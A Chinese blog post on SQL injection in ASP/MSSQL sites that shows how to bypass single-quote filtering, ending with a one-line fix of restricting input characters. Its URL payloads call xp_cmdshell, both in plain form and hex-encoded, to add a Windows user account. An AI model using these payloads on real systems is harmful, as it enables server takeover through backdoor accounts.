在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:

代码示例:

http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

大家可能觉得变量过滤了'就可以防止SQL Injection攻击,仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

代码示例:

http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

是不是跟上面的那句有很大区别?可是效果完全是一样的,其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

这句是“net user angel pass /add”的16进制格式。

先声明一个变量a,然后把指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

代码示例:

declare @a sysname

select @a=

exec master.dbo.xp_cmdshell @a

解决办法:

过滤变量,限制只允许输入特定字符。

比如对于数字类型的变量就限制只能输入数字类型的数据。

具体在程序中的操作方法,大家在编程时自行实践与总结,从细节入手,对于防范sql 注入务必处处用心啊。

oracle注入过滤了单引号,sql绕过单引号限制继续注入的解决方法相关推荐

  1. c语输入单引号_c语言单引号的用法指导

    c语言单引号的用法指导 C语言中用单引号引起的一个字符实际上代表一个整数,整数值对应于该字符在编译器采用的字符集中的序列值.而一般我们的编译器采用的都是ASCII字符集.因此's'的含义其实和十进制数 ...

  2. 描述linux shell单引号,Linux shell 单引号和双引号

    在编写shell脚本的时候经常会用到引号,有些时候却老是忘记单引号和双引号之间的区别, 所以就整理一下供以后脑子不好使了的时候前来复习一下.首先说下他们的共同点: 好像就只有 一个,就是它们都可以用来 ...

  3. Python中单引号,双引号,三个单引号,外双单引号内双引号,外双引号内单引号的区别...

    Python 中一对单引号和一对双引号都可表示一个字符串: 1 Str1 = 'python' 2 Str2 = "python" 思考? 如何表示字符串: I ' am a py ...

  4. python方括号里面单引号_Python中单引号,双引号,三个单引号,外双单引号内双引号,外双引号内单引号的区别...

    Python 中一对单引号和一对双引号都可表示一个字符串: 1 Str1 = 'python' 2 Str2 = "python" 思考? 如何表示字符串: I ' am a py ...

  5. 使用变量时,单引号、双引号、反向单引号的区别

    单引号,双引号,反向单引号的区别: 1.单引号:当变量内容用单引号('')时,对里面的命令echo和变量USER都无法识别,只识别成字符串本身,称之为强引用. 2.双引号:当变量内容用双引号(&quo ...

  6. (转)SQL Server数据库复制错误的原因及解决方法

    在使用SQL Server数据库中,有时在复制时会出现错误,下面就为你分类介绍SQL Server数据库复制错误的原因及解决方法,希望对您学习SQL Server数据库有所帮助. 错误 消息 MSSQ ...

  7. SQL Sever2012 创建表时发生“未指定错误”解决方法

    @[TOC]( SQL Sever2012 创建表时发生"未指定错误"解决方法 下载SQL2012,界面一般,而且从第二次使用时就发现,第一次创建的数据库都打不开,说是什么位置移动 ...

  8. linux终端反引号怎么使用,单引号、双引号和反引号使用方法

    首先向马哥和马哥团队敬个礼,谢谢你们带我进入Linux的世界,刚开始接触linux时,经常看到单引号.双引号和反引号特殊符号,经常搞混淆和误用,应该用双引号,有时用到单引号.经过几天的混乱引用,总算搞 ...

  9. SQL SERVER 2005 数据库状态为“可疑”的解决方法(转)

    SQL SERVER 2005 数据库状态为"可疑"的解决方法(转) 2010-01-04 15:10 在被设置为"可疑"后很纳闷,之前没有遇到此类情况,问了几 ...

最新文章

  1. java中的排序算法——归并排序
  2. Docker部署脚本
  3. THE QUESTIONS :The Top 25 (what we don't know?)
  4. WordPress打开速度很慢的解决方法
  5. spring容器注入一个接口的两个实现类
  6. centos6安装mysql并远程连接_Ubantu下MySQL安装、部署和远程连接
  7. Vue过滤器_使用过滤器进行数据格式化操作---vue工作笔记0015
  8. 华为等上榜全球100大最具影响力企业;猫扑关闭发帖功能;亚马逊要给逾50万名员工加薪 |极客头条...
  9. Ubuntu U盘终于见到了它的主人
  10. 网络通信学习(四)——通过接入网进入互联网内部,探索接入网和网络运营商
  11. PT6303加充电电路的一套原理图
  12. 尚硅谷 尚医通学习笔记
  13. 小鼠大脑解剖图分区_科学家们绘制小鼠大脑的详细3D结构图谱
  14. python前端——HTML超文本标记语言、CSS层叠样式表
  15. 计算机基础知识(基础入门小白专属)五
  16. SpringBoot框架中的DAO(mapper)层、Entity层、Service层、Controller层
  17. 【前端三分钟】利用Javascript实现打字效果
  18. 幼儿园教案我和计算机比本领,幼儿园大班教案《谁的本领大》
  19. M35J型多普勒流量计使用说明书
  20. 深圳软件测试培训:Js中的变量

热门文章

  1. JVM系列(一)--JVM运行时数据区
  2. linux 虚拟机添加网卡
  3. 什么样的项目是成功的?
  4. 2021重庆高考成绩名次排名查询,重庆高考排名对应大学-重庆高考位次大学(2021年理科)...
  5. python项目如何上线_django项目部署上线(示例代码)
  6. pythonint函数的参数_向嵌入的Python函数传递两个参数(int和array)
  7. c语言存储类_C编程语言的存储类
  8. Java ArrayList contains()方法及示例
  9. 编程 mcq_MCQ | 8255 PPI(可编程外围接口)
  10. rhcs集群套件—红帽6的高可用